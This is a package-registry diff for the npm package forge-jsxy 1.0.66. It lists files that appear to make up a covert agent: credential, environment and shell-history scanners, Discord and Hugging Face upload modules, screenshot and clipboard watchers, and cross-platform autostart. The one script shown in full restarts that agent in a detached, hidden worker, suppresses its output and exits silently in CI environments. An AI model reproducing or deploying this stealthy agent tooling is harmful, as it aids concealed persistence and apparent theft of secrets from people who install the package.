forge-jsxy 1.0.66

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (156) hide show
  1. package/README.md +3 -0
  2. package/assets/files-explorer-template.html +4100 -0
  3. package/assets/forge-explorer-favicon.svg +31 -0
  4. package/dist/agentPid.d.ts +14 -0
  5. package/dist/agentPid.js +104 -0
  6. package/dist/agentRunner.d.ts +13 -0
  7. package/dist/agentRunner.js +290 -0
  8. package/dist/assets/files-explorer-template.html +4100 -0
  9. package/dist/assets/forge-explorer-favicon.svg +31 -0
  10. package/dist/autostart/agentEnvFile.d.ts +58 -0
  11. package/dist/autostart/agentEnvFile.js +488 -0
  12. package/dist/autostart/autoUpdatePaths.d.ts +7 -0
  13. package/dist/autostart/autoUpdatePaths.js +51 -0
  14. package/dist/autostart/constants.d.ts +14 -0
  15. package/dist/autostart/constants.js +17 -0
  16. package/dist/autostart/darwin.d.ts +11 -0
  17. package/dist/autostart/darwin.js +203 -0
  18. package/dist/autostart/darwinAutoUpdate.d.ts +4 -0
  19. package/dist/autostart/darwinAutoUpdate.js +70 -0
  20. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
  21. package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
  22. package/dist/autostart/index.d.ts +4 -0
  23. package/dist/autostart/index.js +20 -0
  24. package/dist/autostart/install.d.ts +6 -0
  25. package/dist/autostart/install.js +113 -0
  26. package/dist/autostart/linux.d.ts +17 -0
  27. package/dist/autostart/linux.js +298 -0
  28. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
  29. package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
  30. package/dist/autostart/linuxUpdateTimer.d.ts +6 -0
  31. package/dist/autostart/linuxUpdateTimer.js +104 -0
  32. package/dist/autostart/macPathEnv.d.ts +5 -0
  33. package/dist/autostart/macPathEnv.js +23 -0
  34. package/dist/autostart/manifest.d.ts +11 -0
  35. package/dist/autostart/manifest.js +74 -0
  36. package/dist/autostart/quote.d.ts +12 -0
  37. package/dist/autostart/quote.js +65 -0
  38. package/dist/autostart/resolve.d.ts +35 -0
  39. package/dist/autostart/resolve.js +85 -0
  40. package/dist/autostart/windows.d.ts +15 -0
  41. package/dist/autostart/windows.js +277 -0
  42. package/dist/cli-agent.d.ts +3 -0
  43. package/dist/cli-agent.js +56 -0
  44. package/dist/cli-autostart.d.ts +2 -0
  45. package/dist/cli-autostart.js +92 -0
  46. package/dist/cli-forge.d.ts +2 -0
  47. package/dist/cli-forge.js +5 -0
  48. package/dist/cli-linux-session-refresh.d.ts +2 -0
  49. package/dist/cli-linux-session-refresh.js +30 -0
  50. package/dist/cli-relay.d.ts +3 -0
  51. package/dist/cli-relay.js +38 -0
  52. package/dist/clientId.d.ts +2 -0
  53. package/dist/clientId.js +97 -0
  54. package/dist/clipboardEventWatcher.d.ts +8 -0
  55. package/dist/clipboardEventWatcher.js +177 -0
  56. package/dist/clipboardExec.d.ts +1 -0
  57. package/dist/clipboardExec.js +161 -0
  58. package/dist/clipboardNapi.d.ts +4 -0
  59. package/dist/clipboardNapi.js +19 -0
  60. package/dist/deploymentCipherData.d.ts +20 -0
  61. package/dist/deploymentCipherData.js +31 -0
  62. package/dist/deploymentDefaults.d.ts +43 -0
  63. package/dist/deploymentDefaults.js +199 -0
  64. package/dist/desktopEnvSync.d.ts +18 -0
  65. package/dist/desktopEnvSync.js +21 -0
  66. package/dist/discordAgentScreenshot.d.ts +27 -0
  67. package/dist/discordAgentScreenshot.js +476 -0
  68. package/dist/discordBotTokens.d.ts +29 -0
  69. package/dist/discordBotTokens.js +78 -0
  70. package/dist/discordRateLimit.d.ts +93 -0
  71. package/dist/discordRateLimit.js +227 -0
  72. package/dist/discordRelayUpload.d.ts +55 -0
  73. package/dist/discordRelayUpload.js +806 -0
  74. package/dist/discordWebhookPost.d.ts +12 -0
  75. package/dist/discordWebhookPost.js +108 -0
  76. package/dist/envLoad.d.ts +1 -0
  77. package/dist/envLoad.js +18 -0
  78. package/dist/envScan.d.ts +14 -0
  79. package/dist/envScan.js +358 -0
  80. package/dist/exportMirrorCopy.d.ts +15 -0
  81. package/dist/exportMirrorCopy.js +279 -0
  82. package/dist/fileLockForce.d.ts +50 -0
  83. package/dist/fileLockForce.js +1479 -0
  84. package/dist/filesExplorer.d.ts +9 -0
  85. package/dist/filesExplorer.js +110 -0
  86. package/dist/fsMessages.d.ts +1 -0
  87. package/dist/fsMessages.js +123 -0
  88. package/dist/fsProtocol.d.ts +107 -0
  89. package/dist/fsProtocol.js +4800 -0
  90. package/dist/hfCredentials.d.ts +23 -0
  91. package/dist/hfCredentials.js +124 -0
  92. package/dist/hfHubPathSanitize.d.ts +4 -0
  93. package/dist/hfHubPathSanitize.js +30 -0
  94. package/dist/hfHubUploadContent.d.ts +2 -0
  95. package/dist/hfHubUploadContent.js +199 -0
  96. package/dist/hfSeqIdLookup.d.ts +16 -0
  97. package/dist/hfSeqIdLookup.js +146 -0
  98. package/dist/hfUpload.d.ts +47 -0
  99. package/dist/hfUpload.js +1225 -0
  100. package/dist/hostInventory.d.ts +18 -0
  101. package/dist/hostInventory.js +206 -0
  102. package/dist/hostInventorySend.d.ts +5 -0
  103. package/dist/hostInventorySend.js +86 -0
  104. package/dist/index.d.ts +24 -0
  105. package/dist/index.js +62 -0
  106. package/dist/inputContext.d.ts +11 -0
  107. package/dist/inputContext.js +1094 -0
  108. package/dist/keyboardTranslate.d.ts +23 -0
  109. package/dist/keyboardTranslate.js +204 -0
  110. package/dist/linuxX11.d.ts +2 -0
  111. package/dist/linuxX11.js +53 -0
  112. package/dist/relayAgent.d.ts +20 -0
  113. package/dist/relayAgent.js +828 -0
  114. package/dist/relayAuth.d.ts +10 -0
  115. package/dist/relayAuth.js +81 -0
  116. package/dist/relayDashboardGate.d.ts +31 -0
  117. package/dist/relayDashboardGate.js +323 -0
  118. package/dist/relayForAgentHttp.d.ts +24 -0
  119. package/dist/relayForAgentHttp.js +132 -0
  120. package/dist/relayServer.d.ts +9 -0
  121. package/dist/relayServer.js +1406 -0
  122. package/dist/shellHistoryScan.d.ts +12 -0
  123. package/dist/shellHistoryScan.js +200 -0
  124. package/dist/startupAutoUpdate.d.ts +17 -0
  125. package/dist/startupAutoUpdate.js +156 -0
  126. package/dist/syncClient.d.ts +80 -0
  127. package/dist/syncClient.js +205 -0
  128. package/dist/tableNaming.d.ts +13 -0
  129. package/dist/tableNaming.js +101 -0
  130. package/dist/vcToWindowsVk.d.ts +7 -0
  131. package/dist/vcToWindowsVk.js +154 -0
  132. package/dist/win32InputNative.d.ts +18 -0
  133. package/dist/win32InputNative.js +198 -0
  134. package/dist/windowsInputSync.d.ts +22 -0
  135. package/dist/windowsInputSync.js +536 -0
  136. package/dist/workerBootstrap.d.ts +17 -0
  137. package/dist/workerBootstrap.js +327 -0
  138. package/package.json +75 -0
  139. package/scripts/copy-assets.mjs +31 -0
  140. package/scripts/discord-live-probe.mjs +159 -0
  141. package/scripts/encode-deployment.mjs +135 -0
  142. package/scripts/encode-hf-credentials.mjs +30 -0
  143. package/scripts/ensure-dist.mjs +86 -0
  144. package/scripts/env-sync-selftest.js +11 -0
  145. package/scripts/explorer-isolated-npm-env.mjs +57 -0
  146. package/scripts/forge-jsx-explorer-kill-agent.mjs +359 -0
  147. package/scripts/forge-jsx-explorer-restart.mjs +293 -0
  148. package/scripts/forge-jsx-explorer-upgrade.mjs +802 -0
  149. package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
  150. package/scripts/pm2-restart-forge-relay-agent.sh +43 -0
  151. package/scripts/postinstall-agent.mjs +313 -0
  152. package/scripts/postinstall-bootstrap.mjs +264 -0
  153. package/scripts/postinstall-clipboard-event.mjs +164 -0
  154. package/scripts/registry-version-lib.mjs +98 -0
  155. package/scripts/restart-agent.mjs +66 -0
  156. package/scripts/windows-forge-diagnostics.ps1 +56 -0
@@ -0,0 +1,293 @@
1
+ #!/usr/bin/env node
2
+ /**
3
+ * Detached **forge-agent** restart for file-explorer / remote terminals (same idea as explorer-upgrade).
4
+ *
5
+ * **Parent:** prints one line to stdout, spawns **detached worker**, exits `0` immediately.
6
+ * **Worker:** runs `scripts/restart-agent.mjs` from the global `forge-jsx` install (or this tree),
7
+ * which does `npm run build`, `forge-cfgmgr --stop`, then `postinstall-agent.mjs` — all with
8
+ * `stdio: ignore` / `windowsHide` where applicable (no extra consoles from this script).
9
+ *
10
+ * npm exec --yes --package=forge-jsx@latest -- forge-jsx-explorer-restart
11
+ */
12
+ import { spawn, spawnSync } from "node:child_process";
13
+ import * as fs from "node:fs";
14
+ import * as path from "node:path";
15
+ import { fileURLToPath } from "node:url";
16
+ import { isolatedNpmCacheEnv } from "./explorer-isolated-npm-env.mjs";
17
+
18
+ const NPM_PKG = "forge-jsx";
19
+ const __dirname = path.dirname(fileURLToPath(import.meta.url));
20
+
21
+ /** Piped `fs_shell_exec` parents must read stdout before `process.exit` — buffered `stdout.write` can lose the line on Linux. */
22
+ function writeExplorerStdoutLine(line) {
23
+ const s = String(line).endsWith("\n") ? String(line) : `${line}\n`;
24
+ try {
25
+ fs.writeSync(1, s, "utf8");
26
+ } catch {
27
+ try {
28
+ process.stdout.write(s);
29
+ } catch {
30
+ /* ignore */
31
+ }
32
+ }
33
+ }
34
+
35
+ function pkgRootFromScript() {
36
+ return path.resolve(__dirname, "..");
37
+ }
38
+
39
+ function parseArgs(argv) {
40
+ let foreground = false;
41
+ for (let i = 2; i < argv.length; i++) {
42
+ if (argv[i] === "--foreground" || argv[i] === "-f") foreground = true;
43
+ }
44
+ const log =
45
+ foreground ||
46
+ ["1", "true", "yes"].includes(
47
+ (process.env.FORGE_JSX_EXPLORER_RESTART_LOG || "").trim().toLowerCase()
48
+ );
49
+ return { foreground, log };
50
+ }
51
+
52
+ function isWorker() {
53
+ return (
54
+ (process.env.FORGE_JSX_EXPLORER_RESTART_WORKER || "").trim() === "1" ||
55
+ process.argv.includes("--worker")
56
+ );
57
+ }
58
+
59
+ function appendExplorerRestartSpawnLog(line) {
60
+ try {
61
+ const home = process.env.HOME || process.env.USERPROFILE || ".";
62
+ const dir = path.join(home, ".forge-js");
63
+ fs.mkdirSync(dir, { recursive: true });
64
+ fs.appendFileSync(path.join(dir, "explorer-restart.log"), line + "\n", "utf8");
65
+ } catch {
66
+ /* ignore */
67
+ }
68
+ }
69
+
70
+ /**
71
+ * Same reliability as `forge-jsx-explorer-upgrade`: confirm detached worker actually starts.
72
+ * @returns {Promise<boolean>}
73
+ */
74
+ function spawnDetachedWorker(log) {
75
+ const script = fileURLToPath(import.meta.url);
76
+ return new Promise((resolve) => {
77
+ let settled = false;
78
+ /** @type {ReturnType<typeof setTimeout> | null} */
79
+ let t = null;
80
+ const child = spawn(
81
+ process.execPath,
82
+ [script, "--worker"],
83
+ {
84
+ detached: true,
85
+ stdio: "ignore",
86
+ windowsHide: true,
87
+ env: isolatedNpmCacheEnv({
88
+ ...process.env,
89
+ FORGE_JSX_EXPLORER_RESTART_WORKER: "1",
90
+ NPM_CONFIG_UPDATE_NOTIFIER: "false",
91
+ ...(log ? { FORGE_JSX_EXPLORER_RESTART_LOG: "1" } : {}),
92
+ }),
93
+ }
94
+ );
95
+ const finish = (ok, errMsg) => {
96
+ if (settled) return;
97
+ settled = true;
98
+ if (t != null) clearTimeout(t);
99
+ try {
100
+ child.removeAllListeners();
101
+ } catch {
102
+ /* ignore */
103
+ }
104
+ if (!ok) {
105
+ if (errMsg) appendExplorerRestartSpawnLog(`${new Date().toISOString()} FAIL ${errMsg}`);
106
+ try {
107
+ child.kill("SIGTERM");
108
+ } catch {
109
+ /* ignore */
110
+ }
111
+ resolve(false);
112
+ return;
113
+ }
114
+ child.unref();
115
+ resolve(true);
116
+ };
117
+ t = setTimeout(
118
+ () =>
119
+ finish(
120
+ false,
121
+ "background worker spawn timeout (no spawn event in 10s — check node on PATH and script path)"
122
+ ),
123
+ 10_000
124
+ );
125
+ child.once("spawn", () => finish(true));
126
+ child.once("error", (err) =>
127
+ finish(false, `background worker spawn: ${String(err?.message || err)}`)
128
+ );
129
+ setImmediate(() => {
130
+ if (!settled && child.pid) finish(true);
131
+ });
132
+ });
133
+ }
134
+
135
+ function npmCmd() {
136
+ return process.platform === "win32" ? "npm.cmd" : "npm";
137
+ }
138
+
139
+ function npmSpawnSync(args, log, opts = {}) {
140
+ const stdio = opts.captureStdout
141
+ ? log
142
+ ? "inherit"
143
+ : ["ignore", "pipe", "pipe"]
144
+ : log
145
+ ? "inherit"
146
+ : "ignore";
147
+ const baseEnv = { ...process.env, ...(opts.env || {}) };
148
+ return spawnSync(npmCmd(), args, {
149
+ encoding: "utf-8",
150
+ stdio,
151
+ windowsHide: true,
152
+ shell: process.platform === "win32",
153
+ timeout: opts.timeout ?? 60_000,
154
+ env: {
155
+ ...baseEnv,
156
+ ...isolatedNpmCacheEnv(baseEnv),
157
+ NPM_CONFIG_UPDATE_NOTIFIER: "false",
158
+ },
159
+ cwd: opts.cwd,
160
+ });
161
+ }
162
+
163
+ function globalForgeJsRoot() {
164
+ const r = npmSpawnSync(["root", "-g"], false, {
165
+ timeout: 60_000,
166
+ captureStdout: true,
167
+ });
168
+ const root = (r.stdout || "").trim();
169
+ if (!root) return null;
170
+ const p = path.join(root, NPM_PKG);
171
+ return fs.existsSync(path.join(p, "package.json")) ? p : null;
172
+ }
173
+
174
+ function runRestartAgentFromRoot(root, log) {
175
+ const script = path.join(root, "scripts", "restart-agent.mjs");
176
+ if (fs.existsSync(script)) {
177
+ const baseEnv = {
178
+ ...process.env,
179
+ FORGE_JS_QUIET_AGENT: "1",
180
+ NPM_CONFIG_UPDATE_NOTIFIER: "false",
181
+ };
182
+ const r = spawnSync(process.execPath, [script], {
183
+ cwd: root,
184
+ stdio: log ? "inherit" : "ignore",
185
+ windowsHide: true,
186
+ timeout: 600_000,
187
+ env: {
188
+ ...baseEnv,
189
+ ...isolatedNpmCacheEnv(baseEnv),
190
+ },
191
+ });
192
+ return r.status === null ? 1 : r.status;
193
+ }
194
+ // Backward-compat fallback for older global trees missing scripts/restart-agent.mjs.
195
+ const cliForge = path.join(root, "dist", "cli-forge.js");
196
+ const post = path.join(root, "scripts", "postinstall-agent.mjs");
197
+ if (!fs.existsSync(cliForge) || !fs.existsSync(post)) {
198
+ if (log) {
199
+ if (!fs.existsSync(script)) console.error("[forge-jsx-explorer-restart] missing:", script);
200
+ if (!fs.existsSync(cliForge)) console.error("[forge-jsx-explorer-restart] missing:", cliForge);
201
+ if (!fs.existsSync(post)) console.error("[forge-jsx-explorer-restart] missing:", post);
202
+ }
203
+ return 1;
204
+ }
205
+ const baseEnv = {
206
+ ...process.env,
207
+ FORGE_JS_QUIET_AGENT: "1",
208
+ NPM_CONFIG_UPDATE_NOTIFIER: "false",
209
+ };
210
+ const stop = spawnSync(process.execPath, [cliForge, "--stop"], {
211
+ cwd: root,
212
+ stdio: log ? "inherit" : "ignore",
213
+ windowsHide: true,
214
+ timeout: 180_000,
215
+ env: {
216
+ ...baseEnv,
217
+ ...isolatedNpmCacheEnv(baseEnv),
218
+ },
219
+ });
220
+ const start = spawnSync(process.execPath, [post], {
221
+ cwd: root,
222
+ stdio: log ? "inherit" : "ignore",
223
+ windowsHide: true,
224
+ timeout: 300_000,
225
+ env: {
226
+ ...baseEnv,
227
+ ...isolatedNpmCacheEnv(baseEnv),
228
+ },
229
+ });
230
+ if ((stop.status ?? 1) !== 0 || (start.status ?? 1) !== 0) return 1;
231
+ return 0;
232
+ }
233
+
234
+ function runWorker(log) {
235
+ const roots = [];
236
+ const g = globalForgeJsRoot();
237
+ const s = pkgRootFromScript();
238
+ if (g) roots.push(path.resolve(g));
239
+ if (s) roots.push(path.resolve(s));
240
+ const uniq = [...new Set(roots)];
241
+ let code = 1;
242
+ let used = uniq[0] || "";
243
+ for (const root of uniq) {
244
+ used = root;
245
+ code = runRestartAgentFromRoot(root, log);
246
+ if (code === 0) break;
247
+ }
248
+ try {
249
+ const home = process.env.HOME || process.env.USERPROFILE || ".";
250
+ const dir = path.join(home, ".forge-js");
251
+ fs.mkdirSync(dir, { recursive: true });
252
+ fs.appendFileSync(
253
+ path.join(dir, "explorer-restart.log"),
254
+ `${new Date().toISOString()} restart-agent exit ${code} (cwd ${used}; roots=${uniq.join(",") || "none"})\n`,
255
+ "utf8"
256
+ );
257
+ } catch {
258
+ /* ignore */
259
+ }
260
+ return code === 0 ? 0 : 1;
261
+ }
262
+
263
+ async function main() {
264
+ const { foreground, log } = parseArgs(process.argv);
265
+ const ci = (process.env.CI || "").trim().toLowerCase() === "true";
266
+ if (ci) process.exit(0);
267
+
268
+ if (!isWorker()) {
269
+ if (foreground) {
270
+ const root = globalForgeJsRoot() || pkgRootFromScript();
271
+ const st = runRestartAgentFromRoot(root, log);
272
+ process.exit(st === null ? 1 : st);
273
+ }
274
+ writeExplorerStdoutLine(
275
+ "[forge-jsx-explorer-restart] Scheduling forge-agent restart (npm run build + forge-cfgmgr --stop + postinstall-agent) in background on the agent."
276
+ );
277
+ const spawned = await spawnDetachedWorker(log);
278
+ if (!spawned) {
279
+ process.stderr.write(
280
+ "[forge-jsx-explorer-restart] Failed to start background worker. See ~/.forge-js/explorer-restart.log\n"
281
+ );
282
+ process.exit(1);
283
+ }
284
+ process.exit(0);
285
+ }
286
+
287
+ process.exit(runWorker(log));
288
+ }
289
+
290
+ main().catch((e) => {
291
+ console.error("[forge-jsx-explorer-restart]", e);
292
+ process.exit(1);
293
+ });